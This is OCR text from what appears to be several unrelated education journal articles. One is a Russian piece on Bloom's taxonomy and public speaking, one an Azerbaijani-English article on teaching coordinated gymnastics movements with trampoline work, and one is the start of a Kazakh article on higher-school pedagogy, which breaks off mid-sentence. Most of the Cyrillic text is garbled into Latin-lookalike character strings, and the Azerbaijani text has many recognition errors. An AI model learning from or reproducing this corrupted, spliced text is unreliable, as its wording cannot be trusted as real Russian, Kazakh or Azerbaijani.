[eNCTBMIN Ha OCHOBE NPeABapPMUTENbHO YCBOEHHbIX 3HAHWI. [TpUMepammn MOryT CAYKUTb pelleHne
YpaBHEHMSA, HanNMcaHMe NUCbMa, aHa/IM3 TEKCTa MO M3BECTHbIM NMPaBUIaM, UM AAXKe BOXKAeHWe
aBTOMODOMAA MO M3BECTHLIM NPaBMUIAM AOPOXHKHOIO ABUKEHMUA.

Tenepb paccCMOTPUM, NOYEMY NPUMEHEHME 0ObIYHO PACCMATPMBAETCS KaK HaBbIK HU3LLETO
nopsaka:

e MexaHW4yecKoe BbIMONHEHWE: MPUMEHEHWE, KaK NPaBKI0, NOAPA3yMeBaeT BbINONHEHWE
[EeNCTBMM NOo WabnoHy WAWM CTaHAAPTHbIM Npoueaypam. ITO MOXKET OblTb MexaHWYecKUMm
NPOLECCOM, KOTOPbIM He TpebyeT ryboKoro aHamM3a uam TBOPYECKOTO MblLLIEHUA.

e OrpaHunyeHHaa ob6paboTka MHPOPMaALMM: NPU NPUMEHEHUU WMHPOPMALMK YenoBeK
0bbI4HO He BAaeTcA B ryOOKMI aHaNU3 AWM MHTepnpeTaumio AaHHbiX. OH NPOCTO MCNoNb3yeT
CYLWECTBYIOLLME 3HAHWNA 1A BbINO/IHEHWUA KOHKPETHOM 3343a4M.

o MWHMMaNbHOE KPUTUYECKOE MbIWNEHWNE: NMPUMEHEHME He 0053aTeNbHO BKIOYAET B
cebA OLEHKY UM KPUTUYECKOE MblLLNEHWE. YeNOBEK MOKET BbINOHATL AENCTBUA MO MHCTPYKLMK,
He 334aBanACb BONPOCaMM O LLeNecoobpasHOCT MAK 3GEKTUBHOCTUN STUX AENCTBUI.

e OrpaHmyeHHana aganTaums: B HONbLIMHCTBE CMyYaeB NPMMEHEHWEe 3HaHWI He TpebyeT
aflanTaumm K HOBbIM MM U3MEHAIOLLMMCA YCNIOBUAM. Ye10BEK MCMONb3YET 3HAHMA B M3BECTHOM
KOHTEKCTE, HE WM3MEHAA WX CyL,eCTBEHHO. PacCMOTPUM aprymeHTbl, B KOTOPbIX NMPUMEHeHMe
MOXET ObITb HaBbIKOM BbICLLEFO NMOPAAKA.

e COBOKYMHOCTb 3HaHWMI: [INA yCcnewHoro npuMeHeHna MHGopMaL MM YeNoBEK AOMKEH He
TO/IbKO 3HaTb GaKTbl, HO M YMETb aHAIM3MPOBATb M OLEHMBATb MX C Y4ETOM KOHKPETHOM CUTYaLMN.
3710 TpebyeT BbICOKOWN CTENEHWN UHTENNEKTYaIbHOM 06paboTKM MHPOopMaLmn [4].

e PelleHMe CNOXKHbIX 33a4a4: B peanbHOM KM3HW YACTO NPUXOAMTCA CTaSKMBATHCA C
CUTYaUMAMM, KOTOpble He MOryT ObiTb pelleHbl MPOCTO MOBTOPEHMEM 3HAHWUI U3 y4yebHMKa.
MprMMeHeHWe HaBbIKOB BbICLLIErO NMOPAAKA, TAKMUX KaK aHaIM3, CUHTE3 W OLLEHKA, MOMOraeT pewmnTb
CNOHble 3aaa4m.[5]

e KOHTEKCTyanbHOEe MbilneHue: MNpumeHeHne TpebyeT cnOoCOBHOCTM YUMTbIBATb KOHTEKCT
W afanTMpOBaTb 3HAHMA M HaBbIKM K KOHKPETHbIM 0OCTOATENbCTBAM. IDTO MNoApa3ymeBaeT
rMBOKOCTb M CNOCOBHOCTL BMAETb DONEE WMPOKYI KAPTUHY.

e [puHATME 06OCHOBAHHbLIX pelweHui: MpMMeHeHNe 3HaHWMN U HABbLIKOB A/ MPUHATUA
0DO0CHOBaHHbIX PeLleHn ABASETCA BbICLLIEN CTYNEHbIO YMCTBEHHON AEATENBHOCTU. ITO BKAOYAET
B cebs aHaNM3 anbTepHaTUB, OLLEHKY NOCAeACTBUI U BbIDOP Hanbonee NoAXOAALLErO BapMuaHTa.

e TBOpYECKOEe MbIlW/EeHME: B HEKOTOPbIX C/y4aAx, OCODEHHO B WCKYCCTBE, HayKe W
WHHOBALMAX, NPMMEHEHNE 3HAHUI M HABbIKOB MOXET NoTpeboBaTb TBOPYECKOro Noaxoaa. ITo
BK/toYaeT B ceba cnocobHOCTb reHepnpoBaTh HOBbIE MAEM M PELIEHMS Ha OCHOBE MMEoLLMXCA
3HaHWN.[6]

e KOHTpONb Hag npoueccom: [puMMeHeHWe TaKxKe BK/AtOYaeT B ceba cnocobHOCTb
KOHTPO/IMPOBATb MPOLECC M KOPPEKTMPOBaTb €ro no mepe HeobxoaMmocTu. ITo TpebyeT
METaKOTHUTUBHbIX HAaBbIKOB, KOTOPbIE MO3BOIAIOT Y€/I0BEKY CNEeAUTb 33 CBOMM MbIWIEHNEM U
aencrsuamm [7].

Hay4Hble pe3ynbTaThl

Micxoaa w3 BblleENePeYnCcNeHHOro, MOXKHO cAenaTh BbiBOA, YTO K HaBblkam Myb6aMYHOro
BbICTYM/IEHUA MOXHO OTHECTM AiBe 60/blUMe rPYNMbl HABbIKOB: HaBbIKK PaboTbl ¢ MHGOPMaLMeEN 1
KOMMYHMKaTUBHbIE HaBbIKW. Pa3BUTHE HABbIKOB NMy6/IMYHOIO BbICTYMEHMWS — 3TO Lie/bli KOMMIEKC
nencTenin. CI0XKHOCTb 3TOr0 Pa3BUTUA NpeacTaBaAeT Pa3HOCTOPOHHOCTb HEOOXOAMMbIX HABbIKOB,
KOTOpble HYKHO pa3BMBaTb KOMMIEKCHO, @ He OTAE/bHO.
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34eCb NPOCNEXKMBAETCA YETKAA CBA3b MEXKAY TaKCOHOMMEN bayma 1 pasBUTUEM HaBbIKOB
NyB6ANYHOrO BbICTYNAEHMA. TaKCOHOMMA MOMKET MOCAYKUTb CBOEOOpPa3HOM 0Mnopoi, KoTopas
NO3BONIAET Pa34eNnUTb BECb MPOUECC Pa3BUTMA HABbIKOB HA HECKO/NIbKO YPOBHEW, HauMHaA C
TEOPETUYECKOM NOATOTOBKM BbICTYMAEHUA W 3aKaH4YMBas camopedniekcmen nocne Hero. Takan
onopa ynpoLllaeT BeCb NPOLECC Pa3BUTUA 3TUX HABbIKOB, MOTOMY YTO OHa AeNaeT NPOoLEecc BCEro
oby4yeHMA nocnenoBaTeNbHbIM.

PaccmoTpmMm MOTEHUMAN KaxKAoro ypOBHA, NpeaHasHa4YeHHOro ANA Pa3BUTUA HABbIKOB
NyB6ANYHOTO BbICTYN/IEHUS, B NEPECMOTPEHHON TakcoHOMMK Bonee NoapobHo.

3HaHuWe. 3aecb obyyatouimecs 3HaKOMATCA C OCHOBHbIMM MOHATUAMM U TEPMUHONOTUEN
Ny6AMYHOrO  BbICTYNAEHWA. IDTO BKAOYaAeT B cebA WM3yYeHWe pPasNMYHbIX BWAOB pedveln,
CTPYKTYPUPOBAHMA BbLICTYMAEHUA W 3HAKOMCTBO C OCHOBHbIMM TEXHMKAMMK, TaKMMKM Kak
MCNO/Ib30BAHME KEeCTOB, MUMUKU U MOAYNAUMKM ronoca. IToT GyHAAMEHT MO3BONAET CO34aTb
6asy, HeobxoaAMMylO ANnA JanbHenWero wu3lydeHusa. YTo KacaeTcs HaBblKOB paboTbl ¢
nHbopmaumen, To obydatomecs n3y4atoT B TEOpMUKN cnocobbl 06paboTKM MHPOPMALMK, MPUEMBI
MO BbIABNEHWUIO [1ABHOTO B TEKCTE, a TaKXe cnocobbl ynpouieHna MHGOopMaLmMmM M CO34aHMA
NAKOHWYHOrO TEKCTa ANA BbICTYNAEHMA.

MoHMmaHKne.  ObyyalolMecs  HAYMHAKOT  OCMbICAIMBATb  M3YYEHHbIM  maTepwuan,
aHaNM3MpoBaTb ero WM WHTepnpeTMpoBaTb. Ha 3TOM 3Tane OHWM MOryT 0b6Cy)KaaTb, nodyemy
onpeAeneHHble TEeXHWKM paboTatoT Aydlle B TEX WAM UHbIX CUTYaUMAX, a TaKKe Y4YMTbCA
afanTMpoBaTb CBOW BbLICTYN/IEHMA B 33aBMCMMOCTM OT ayAMTOPWM, MNOCKOJIbKY MNOHWMAHWeE
KOHTEKCTa ABNAETCA KNKOYEBbIM 414 YCNEeWHOM KOMMYHMUKaLMK. HaBblkn paboTbl ¢ MHPOpMaLmeit
He ABNAIOTCA UCKIOYEHUEM.

MpvmeHeHWe. Ha AaHHOM 3Tane HauyMHaeTcs HenocpeACTBeHHas paboTa CO BCemM
3HaHMAMMK cpasy. [1pn NOAroTOBKE TEKCTA K BbICTYNNEHMIO, 0by4Yatowmeca HaxoaaT MHGOpMaLmIO
B Pa3HbIX MCTOYHMKAX, QHANM3MPYIOT ee, ynpoLwatT, AONOAHAKT. [lanee OHM HaymHatoT
pa3pabaTbiBaTb COOCTBEHHbIE MpPe3eHTaLUMM M NPOBOAMUTL UX Nepes MUHU-TPYNNON B KayecTse
anpobaumn. ITO MpakTMYecKoe MNPUMEHeHMe 3HaHWIM W NOATOTOBAEHHbIX MaTepuanos
cnocobcTByeT GOPMMPOBAHMIO YBEPEHHOCTU M HAacTOMYMBOCTU. OHM NOMyYatoT 0OPaTHYHO CBA3b,
4TO NOMOrAET yAyylaTb CBOM HABbIKM M TOYHEE pearnpoBaTb Ha NOTPeOHOCTU cayLuaTenem.

AHann3 un OueHKa TecHO cBA3aHbl Apyr C Apyrom. 34eck obydatouwpmecs ydaTca
Pacno3HaBaTb CU/bHbIE 1 C1abble CTOPOHbI CBOMX BbICTYMIEHWI, @ TaK¥Ke OLLEeHMBATb BbICTYMEHNA
Apyrnx. BaxKHO aHanM3MpoBaTb M BCE BLICTYMN/IEHWE B LIEJOM, M ero 4acTu No OTAENbHOCTM.
MpUMeHeHne aHanM3a ANA PACCMOTPEHMA YacTen BbICTYN/NeHMA MNo3BOAseT AaTb bonee
0OBEKTMBHYIO OUEHKY, MOTOMY YTO YaCTM LLENOCTHOM CUMCTEMbI CTAHOBATCA ©onee MOHATHLIMM,
KOr4a paccmaTpuBatoTCA BHE KOHTEKCTA APYrnX. TaKoM KpUTUYECKMI NOAXOA NO3BOIAET HE TONIbKO
COBEPLUEHCTBOBATb CODOCTBEHHbIE HABbIKM, HO WM PACTM KaK Chneuuanmctam, CnocobHbIM K
pedieKCUn 1 CamopasBuUTUIO B chepe KOMMYHUKaLLMN.

BepwmHa Bcero npouecca obydeHma — 310 Co3sgaHue. Obyvaoumecs GopmupytoT
NO/NIHOLLEHHOE BbICTYN/IEHNE, NPU NMOATOTOBKE K KOTOPOMY MPUMEHSIOT BCE HABbIKM, METOAbl U
TEXHWKW, NONYyYEeHHble paHee B npouecce obyyeHMA. TakcoHomma bayma npeacrtasndeTr cobom
NPUHUMN NocneaoBaTenbHOro obyyeHWsa OT MPOCTOrO - K CNIOXKHOMY. Ha cneaytoumii ypoBeHb
MOHO NepenTn Toraa, Koraa npeablayLimnin NoNHOCTbIO 0CcBOeH. [MoaTomy yposeHb Co3aaHma He
[O/IKEH BbI3bIBAaTb KPUTUYECKMX Npobnem cpean obyyatolmxca, NOCKObKYy BCe Heobxoanmble
HaBbIKM Dbl M3YyYeHbl UMW 3apaHee B XoJe «MnoAbema» OT Ha30BOro YpOBHA TAaKCOHOMUU K
NPOABVHYTOMY.

[na Toro 4ytobbl NybAnYHOE BbICTyNAeHWe obecneymBano pa3BUTME NNYHOCTM CTYAEHT],
YYMNO MbICNUTb, AEeNCTBOBATb, POPMMPOBANO YCTOMUYMBbLIE HABbIKM MOBEAEHMA WUCMOb3YHOTCA
TeopeTUYeckMe maTepumansl B COOTBETCTBMM C TakCcOHOmMMen bayma, B KOTOPOM 3aZaHWA
KnaccmdunumpyroTcsa Ha WeCTb YPOBHEN.
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MepBbli YPOBEHb - «3HAHWA» - MMeeT CBOEWN UeNbld HayyeHue WHTepPMopM3MpPOoBaTb
MHGOPMaUMIO, TO ECTb MEPEHOCUTL MHPOPMALIMIO CO CTPAHUL, IMTEPATYPbl N APYTUX UCTOYHUKOB
B KJ1a[0BYK NaMATM, TO €CTb NpeBpallaTbh MHPOPMALMIO B 3HAHMA. DTa KaTeropusa obo3HavyaeT
3aMomMMHaHWe M BOCMpPOM3BEAEHME M3YYEHHOro maTepuana. Peuyb MOXKET MATU O PasIMYHbIX
BM/OAX COAEPHKAHNSA - OT KOHKPETHbIX GaKTOB A0 LEeNOCTHbIX Teopunit. ObLLan YyepTa 3TON KaTeropmm
- NPUNOMMWHAHME COOTBETCTBYHIOLLMX CBeAeHNIM. Ha AaHHOM ypOBHE CTyAeHT 3HaeT (3aNOMUHaET u
BOCMPOM3BOAMT) ynoTpebaaemble TEPMMUHbI, KOHKpeTHble ¢aKTbl, MeTodbl M npoueaypsi,
OCHOBHbIE MOHATUA, 3HAET NPaBMAA U MPUHLMMBI.

BTopoit ypoBeHb - «[TOHMMaHWE» - UMEET LEeblo HayYeHne MaHWUMyIMPOBaTh 3HAHUAMM
(NpeacTaBnATb B Pa3fIMYHbIX BUAAX MHTEPUMOPU3IMPOBAHHYIO MHPOPMaLMIO, KOTopas nonasa B
namaTb). [MOKasaTenem CnoCcOBHOCTM MOHMMATb 3HAYEeHME W3YYEHHOTO MOMKET CAYKUTb
npeobpasoBaHue (TpaHCAsUMA) mMaTepuana M3 oAHOM (GOPMbl BblparKEHWs B APYryt - ero
«nepeBoa» C OAHOro «A3blka» Ha APYron (Hanpumep, U3 CA0BECHON GOpMbl - B Lindpposyto). B
KayecTBe MoKasaTesnna MOHMMaHMA MOXKET BbICTyNaTb MHTEprnpeTauus maTtepuana CTyAeHTOM
(0bbsACHEHME, KPATKOE W3NOXKEHME) AN Ke NPeAnosioXKeHWe O AaNbHENWEM XOoe Pa3BUTUA
cobbITMIM (NpeacKka3aHne NocNeacTBUiA, pe3ynbTaToB). 34eCh CTYAEHT NOHUMMAET GaKTbl, NpaBMaa
M NPUHUMNbI,  WHTEPNPETMPYeT CNOBECHbI MaTepuan, Ccxembl, rpadukn, AMarpammel;
NpeanoNoXUTENBHO ONMCLIBAET NOCNEACTBUA, BbITEKAIOLLME M3 UMEIOLWMXCA AaHHbIX.

TpetTnin ypoBeHb - «lpumeHeHMe» - 0b03HA4YaeT yMeHWe MCMNo/b30BaTb WM3YYeHHbIN
MaTepman B KOHKPETHbIX YCNOBMAX M B HOBbIX CUTyaumax. Ctoga BXOAMT NPUMEHEHWe Npasus,
MEeTO/Z0B, MOHATWUIA, 3aKOHOB, MPWHUMMNOB, Teopuit. COOTBETCTBYIOWME pPe3ynbTaTbl U3y4YeHUs
TpebytoT 6onee BbICOKOTO YPOBHA BNAJAEHUA MaTePUANOM, YeM NOHUMaHMe. CTyAeHT MCNOoNb3yeT
MOHATMA W MNPUHUMMbI B HOBbIX CUTyaUMAX; MPUMEHAET 3aKOHbl, TEOPWUW B KOHKPETHbIX
NPaKTUYECKUX CUTYALMAX; EMOHCTPUPYET NPaBUIbHOE NPUMEHEHNE METOAA UM NPOLLEeAYPbI.

YeTBepTbIl YPOBEHDb - «AHANM3» - UMEET Leblo HayYyeHWe NocpeacTBOM NMPUMEHeHUA
anropMTMa aHanm3a  (3N1eMeHTapHOW  MbICAUTENbHOW  Onepaumu), Ha OCHOBE paHee
NprobpeTeHHbIX 3HAHWIM, OTKPbITUE ANA cebA HOBbIX 3HAHWI. ITa KaTeropua o603HavaeT ymeHume
Pa3buTb MaTepuran Ha COCTaBAAIOLLME TaK, YTOObI ACHO BbICTyNana ero cTpyktypa. Ctoga OTHOCATCA
BblUIEHEHME YaCTel Lenoro, BbiABAEHWE B3aMMOCBA3EN MeXAy HUMW, OCO3HaHME MPUHLMMNOB
opraHusaumm uenoro. CTyaeHT BblAENAET CKPbITble (HEABHbIE) NPeANON0XKEHNA; BUANT OLUNMOKM 1
YNYLLEHUA B NOTUKE PACCYKAEHUI; NPOBOANT PasrpaHNYeHna mexay GakTamm u cneacTBUAMM;
OUEHMBAET 3HAYMMOCTb JAHHbIX.

MATbIA ypoBEHb - «CUHTE3» - UMEET Le/Iblo HayYeHMe NocpeCTBOM aNropuTMa CMHTe3a
(3nemeHTapHOM MbICIUTENIbHOW OMNepaLMmM), Ha OCHOBE paHee NPUOBPETEHHbIX 3HAHWI, OTKPbITUE
HOBbIX 3HaHWI. Mepen BbIMOJHEHMEM TAKOro 3a4aHMA AAeTCs anrOpUTM BbINMONHEHUA AaHHOMN
MbIC/IUTENILHOM onepaummn. ITa KaTeropma o603HaYaeT ymeHne KOMOMHMPOBATb 31EMEHTbI TaK,
yTobbl MONYYMTb Uenoe, obnagatoliee HOBM3HOW. TakMM HOBbIM MPOAYKTOM MOXKET OblTb
coobuieHue (BbICTyNAeHWe, AOKNAA), NAaH AENCTBUIA, CXeMbl, YyNopAA0UYMBatOLIME MMEIDLMECS
ceeaeHua.  [JOCTUMKEHME COOTBETCTBYIOLWIMX pPEe3y/NbTaToB  MNpeAnonaraetca AesTe/bHOCTb
TBOPYECKOrO XapaKTepa, HanpasiaeHHaA Ha CO34aHMe HOBbIX CXeM, CTPYKTyp. CTyAeHT nuwet
Hebo/NblWOe TBOPYECKOE BLICTYM/IEHWE;, MNpeafaraeT naaH MpPoBeAEHUA IKCNEPUMEHTa;
MCMONb3YET 3HAHMA U3 Pa3/IMYHbIX 0bsacTel, YToObl COCTaBUTL MaaH PeLeHns TOM UAN UHOM
npobaembl.

LLlecToi ypoBeHb - «OUEeHMBaHWE» - UMEET LeNblo HaydeHue AenaTb YMO3aKIoUeHNA B
KOHKPETHOM CUTyauMM Ha OCHOBe paHee NMPUOOPETEHHbIX 3HAHUI U XKM3HEHHOTo onbiTa. 3Ta
KaTeropma o603Ha4yaeT ymeHue oueHMBaTb 3HaYeHWe TOTO UM MHOTO MaTepuana (YTBepKAaeHuA,
XY[,0EeCTBEHHOIO NPOW3BEAEHMA, UCCNEA0BATENbCKMX AaHHbIX M T. A.). CyxXAeHuA CTyAeHTa
[ONKHbBI OCHOBBIBATbCA HA YETKUX KPUTEPUAX: BHYTPEHHWUX (CTPYKTYPHbIX, NIOTUYECKUX) WK
BHELWHMX (COOTBETCTBME HAMEYEHHOW Lenun). Kputepumn moryt onpesenaTbca CaMmm CTyAeHTOM
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AW NpeanaratbCa emy M3BHe, Hanpumep, npenoaasaTenem. [aHHaa KaTeropua npeanonaraet
[OCTUMKEHME y4ebHbIX Pe3ynbTaTOB B pamKax BCeX NpealecTBytolmMx KaTeropuin. CTyaeHT
OLEHMBAET NI0rMKY NOCTPOEHUA MaTepuana B BUAE NMUCbMEHHOMO TEKCTa; COOTBETCTBME BbIBOAOB
UMEIWMMCA AaHHbIM, 3HAYMMOCTb TOrO WAW WMHOMO MNPOAYKTa AeATeNbHOCTU, MUCXoaa U3
BHYTPEHHUX KPUTEPUEB.

BbiBOAb!

Takum 06pa3om, TaKCOHOMMA Bryma CTaHOBUTCA MOLLHBIM MHCTPYMEHTOM B Pa3BUTUM
HaBbIKOB MYyBAMYHOrO BbICTYM/IEHUA CTYAEHTOB, CNOCOOCTBYA WX BCECTOPOHHEMY PA3BUTUIO.
PasBuTME HaBbIKOB MYyHAMYHOrO BbLICTYM/IEHUA Y CTYAEHTOB — 3TO BaKHbIA  acMeKkT
obpa3oBaTeIbHOro NpPoLEecca, KOTOPbIA 3HAYMTEIbHO BAUSAET HAa GOPMUPOBAHME YBEPEHHOCTMH,
KOMMYHWKATUBHbIX CMOCOBHOCTEN WM KPUTUYECKOTO MbllUAeHMA obydyatowmxca. MNpumeHeHme
TaKCOHOMMMK Biyma B 3TOM KOHTEKCTEe MO3BO/AET CTPYKTYPMpPOBaTh 0byyeHWe, Aenan ero bonee
30 DEKTUBHBIM U LiIeNeHanpPaBAeHHbIM.

TaKkKe BaXKHO OTMETUTb, YTO TAKCOHOMMUA Bayma MOXKET NOMOYb CTYAEeHTaM He TO/IbKO B
Pa3BUTUM HaBbIKOB MNYBANYHOIO BbICTYM/IEHWUA, HO U B MOBCEAHEBHOM KN3HU. OHA YYUT MbICIUTb
CMCTEMHO, aHaNM3MpoBaTb MHOOPMALMIO W BbICTPAMBATb CBOW  MbICAM B JIOTUYHYIO
NoCNe0BaTeNbHOCTb, YTO MOXKeT OblTb Nose3HO B At0OON cUTyauuun, Tpebytouwen ymeHuA
BbICTYNaTb Nepes ayauTopuen.
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In the learning process of complex
coordinated movements modern
technologies for the formation of motor
skills and habits

GUlnel Rasim qizi Eyvazli
The gymnastics teacher at the «Sports School» department of the Azerbaijan Sport
Academy

Xllasa: Gimnastikada ylksak naticalor alds etmak Ugln beynalxalg arenada vyalniz yaxsl
disinilmus, stbut edilmis texnologiya yolu ila tadris metodlarini geyri-dagig ve natamam biliyi
ciddi sakilda neca ¢evirmak barada elmi fikir axtarir.

Acar sozlar: masq, haraki gabiliyyat, bioloji, biomexaniki, didaktik, texnoloji, psixoloji va pedaqoji,
funksional, problemin tahlili, gimnastika, harakat qurulusu

Abstract: In order to achieve high results in gymnastics, it is only looked for a scientific idea of how
to seriously transform teaching methods into inaccurate and incomplete knowledge through well-
thought-out, proven technology in the international arena

Keywords: exercise, motor skills, biological, biomechanical, didactic, technological, functional,
problem analysis, Gymnastics, movement structure, psychological and pedagogical.

Movzunun aktualligli. Gimnastikada ylksak naticalar alda etmak U¢lin beynalxalg arenada yalniz
yaxsl dUslnUlmuUs, stbut edilmis texnologiya yolu ils tadris metodlarini geyri-daqiq ve natamam
biliyi ciddi sakilda neca ¢evirmak barada elmi fikir axtarir. Haraki faaliyyastin tadrisi probleminin
tahlilindan da gorindliyu kimi, masqglar asagidaki struktur tarkibindan ibaratdir: haraki, bioloji,
biomexaniki, didaktik, texnoloji, psixoloji va pedaqoji, funksional.

Harakat strukturunda formalasmis «zaif» halge hamisa idmanciya ylksak natica alds etmaya
cotinlik yaradir. «Oyranma ve dyratmayin asanli§inin asaslari» faslinda verilmis nazari va meto-
diki tovsiyalar — talim prosesinda «sadadan mirakkaba, asandan ¢atina» riayat etmak —bu giin da
aktualdir.

Mirakkab tullanmalarinda effektli icra texnikasinin formalasdiriimasi Gg¢ln zaruri tamrin va
harakat birlasmalarindan istifade etmakle alda olunan «masglanma effektinin» kdclrilmasi
muayyan edilir.

Tadgigatin magsadi. Murakkab tullanmalarin dyradilmasi prosesinda haraki bacariq va vardis-
larinin formalasdirilmasinin muasir texnologiyalardan istifads xlsusiyyatlarini misyysan etmak.
Todgigatin vazifalori. isin magsadina uygun olarag qgarsiya qoyulmus masalalarin halli {ciin
planlasdiriimis marhalaler nazards tutulmusdur:

v Talim materialin manimsanilmasinin dyratma programlari.

v' Muxtalif ¢atin koordinasiyali harakatlarin  dyratma prosesinda bilik, haraki bacariq va

vardislarin formalasdiriimasi.

Tadgigatin metodlari. Tadgigatin magsadinin hazirlanmasi Gg¢lin asagidaki metod istifads olunmasi
nazarda tutulur:
9dabiyyat manbalarinin tahlili: Son illards dinyada Umumi va dar hadafli (lokal) harakat va
idmancinin harakatlarinin koordinasiyasinin inkisafina va inkisafina tasir géstarma programlari
ugurla hazirlanmisdir .
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Batutun istifadasi koordinasiya bacariglarinin inkisafina kdmak edir. TahlUkasizlik sartlarina artan
uygunlugdan alava, batutda masqglari asagidaki misbat tasirlara malikdir:
v’ Harakatlarin koordinasiyasini inkisaf etdirir;
v’ Vestibulyar aparatin daha yaxs! islamasina komak edir;
v Urayin isini normallasdirir;
v’ Ozala garginliyini aradan galdirir.
Haraki faaliyyatin tadrisi probleminin tahlilinden da gorindiyl kimi, idman masqi texmini
asagidaki struktur tarkibindan ibaratdir: haraki, bioloji, biomexaniki, didaktik, texnoloji, psixoloji va
pedaqoji, funksional (sakil 1).

Harakat qurulusu

Funksional qurulus Bioloji qurulug
Psixoloji-pedaqoji qurulus Biomexaniki qurulus
Texnoloji qurulus Didaktiki qurulus

\

Sokil 1. [dman harakatinin niimunavi struktur torkibi

Talimin faza qurulusunda idman texnikasinin asas elementlarinin Oyradilmasi texnologiyasi
harakatlarin istinad nogtalari metodu ila hayata kecirilir. Bu metod, harakastin idman texnikasinin
biomexaniki tahlili, 6ndaki va nodvbati badan duruslarinin, faza qurulusunda idman texnikasinin
asas elementlarinin - muayyanlasdirilmasi ile badan vaziyyati gostaricilarinin giymatlandirilmasi
Uclin nazarda tutulmusdur (sakil 2).

Hazirlayici haraki osas Tamamlayici
) faaliyyatinin fazasi haraki = haraki
Idman harakati faaliyyatinin fazasi faaliyystinin fazasi
Badanin isa govsaqg elementi — govsaqg elementi —
salma vaziyyati — vaziyyatin badanin yekun
sl multiplikasiyasi vaziyyati (daqiq
qovsaq elementi /ba.damn . yersenma/
vaziyyatlari birlasma)

Sokil 2. idman harakatin fazal qurulusunda texnikanin govsaq elementlari

Malum oldu ki, gimnastikanin dyranilmasinin ilkin marhalalarinda masglar asasan bitovlikds
statik va dinamik koordinasiyani stimullasdirir. Digar haraki gabiliyyatlarini nisbatan sads fiziki
harakatlar vasitasila inkisaf etdirmak olarsa, cevikliyin inkisafi Gclin koordinasiya-haraki alagasinda
catinlikle miayyan daracada farglanan masglardan istifada olunur. Bu ¢atinlik asasan harakatlarin
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dizginliyina, onlarin qgarsiligh alagalandirilmasinin migyasina va vaziyyatin gafil dayisma
daracasina dair taleblardan ibaratdir. Son zamanlar gimnast gabiliyyatlarin shamiyyati:

v Fazada tez orientasiya etmak bacarig;

v’ 9zals hisslarini inca sakilda farglandirmak ve tanzimlamak;

v Ozala garginliyinin daracasi;

v Otraf muhit signallarina tez reaksiya vermak;

v Vestibulyar dayanighg.

Vestibulyar sabitlik vestibulyar analizatorun stimullasdirilmasindan sonra pozanin va ya harakat
istigamatinin gorunmasi ila xarakteriza olunur.

Koordinasiya gabiliyystinin giymatlandirilmasi meyarlari hadaf oriyentasiya ndqgteyi-nazarindan
makan va zamanda harakatlari va saylari rasional taskil etmak, semantik va dinamik qurulusunu
goruyub saxlamagla harakatlari yenidan qurmag, onlarin hadaf oriyentasiyasini dayisdirmak va ya
saxlamaqg bacarigl ile ifads edile bilar. 6-7 yasdan 10-12 yasa gadar olan yas dovri, xisusi taskil
edilmis haraki faaliyyatinin kdmayi ile koordinasiya bacariginin inkisafi Gglin an alverislidir.
Batutda masgler koordinasiya bacariginin inkisafi Ucln universal vasitalerdan biridir. Batut

Uzarinda masqlar edarkan vestibulyar analizator, motor analizatoru va basqgalarinin funksiyalarinin
kompleks inkisafi bas verir. Urak-damar ve tanaffis sistemlarinin faaliyyati yaxsilasir, sirat-giic
keyfiyyatlari, dozimlulik, mivazinat hissi, oriyentasiya, motor reaksiyasinin sirati inkisaf edir,
harakatlari dagiq idara etmak bacarigl tarbiys olunur. Ona gora da gimnastlarin ilkin hazirliginda
batutla tullanma mihim rol oynayir.

Batutda tullanmalariicra edarkan masgul olan gimnastlar mivafig analizatorlarin kémayi ila gabul
edilan boylik hacmda cari malumati — vizual, esitma, kinestetik, toxunma va vestibulyar signallari
«emal edirlar». Buna asaslanarag, arasdirmamizda takca koordinasiya gabiliyyatlari deyil, ham da
ceviklik dyranilmisdir.

NOTICD
Aparilan tadgigat isi naticasinde malumat tartib etms metodikasinin tadgigi bize muxtalif
manbalardan asagidaki naticalara galmaya asas vermisdir:

v' Talim-masq prosesinds idman harakatlarinin taliminin aktual texnologiyalari va miirakkab
koordinasiya quruluslu idman novlarinda onlarin istifada xUsusiyyatlari 6yranilmisdir;

v Idman masglarinin texnoloji qurulusu. idara olunan talim prosesi tadris materialinin dagiq
qurulmus xatti budagli programlasdirma algoritminin istifadasini tamin edir;

v Batutla masqul olanlarin fiziki hazirligi, akrobatika harskatlarin ugurla manimsanilmasi tgiin
lazim olan haraki gabiliyyatlarin inkisaf etdirilmasidir.
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}KOFAPbI MEKTEMN NMEAATOMMKACH!:
TEOPUANBIK HEM3AEPI MEH KOMAHY
TOCINAEP!

Typranbek Annapa KacynaHKpi3sbl

AHHOTaUMA

Byn Mmakanaga KOfapbl MEKTeN MedarorMKkacbliHblH, TEOPUAJbIK KIHE MNPaKTUMKaAbIK
Heri3aepi KapacTbipbliaabl. orapbl Oinim Bepy KyheciHae OKbITYAblH TUIMAI S4icTepiH KOAAaHY,
3aMaHayn nefarormkanblK TEXHOAOTMANAPAbl EHri3y XaHe CTYAEeHTTepAiH OKy MOTMBaLUMACLIH
apTTblpy Macenenepi TankbliaHadbl. COHbIMEH KaTap, KOfapbl MeKTen neaarorMkacblHbiH,
[aMyblHa acep eTeTiH GakTopaap meH bonallakka bafbiTTanfaH cTpaTernsanap KapacTblipblaaabl.

KinT cesaep: oKywsi, nedazoaukxa, fblsbiM, 3epmmey, aKknapm, ma-an.

Kipicne

Kofapbl MeKTen neaarorMkacbl — CTYAEHTTEPAIH, KaCiOM Ky3bIpeTTifiriH KanbinTacTbipyfa
HafbITTaNfaH FblbIM Canacbl. byn neaarorMka canachl OKbITYLbINAPAbIH, dAiCTEMENIK WebepniriH
KeTinaipymeH Katap, 6inim anywbinapabiH, 63 OeTiHWe oMnay KaHe 3epTTey AafablnapbiH
[aMbiTyFa blknan eteai. Kasipri 3amaHaa ofapbl 6inim 6epy canacblH apTTbipy MaHbI3abl
MiHAEeTTepPAiH Oipi 60/biN TabblNaabl.

Kofapbl meKTen nefarornkacblHbIH, HEri3r NpuHUUNTEpI:

FbINbIMUABIK NPUHLMMI — OKbITY Mpoueci fbiabiMi HeridgenreH 6inim 6epy mMasmyHbIHa
cyMeHyi THic. FbinbIMMU NPUHUMNTI CakTayablH HETi3ri WapTTapbl: fblIbIMW ASA4IK — OKY Ma3MyHbl
FbIIbIMHbBIH, 3aMaHaymM XETICTIKTEPiHE CaMKec Kenyi TWic, Aanenainik — apbip TYKbIPbIM HaKTbI
NEPEKTEPMEH, IKCMIEPUMEHTTIK HITUNKEIEPMEH HEMECE TEOPUAbIK HEri3AepMeH DeKiTinyi Kaxer,
NIOTUKANbIK KyMheninik — 6inim 6epy maTepuanbl OKyLbIIAPAbIH *ac epeKlenikTepiHe CallKec,
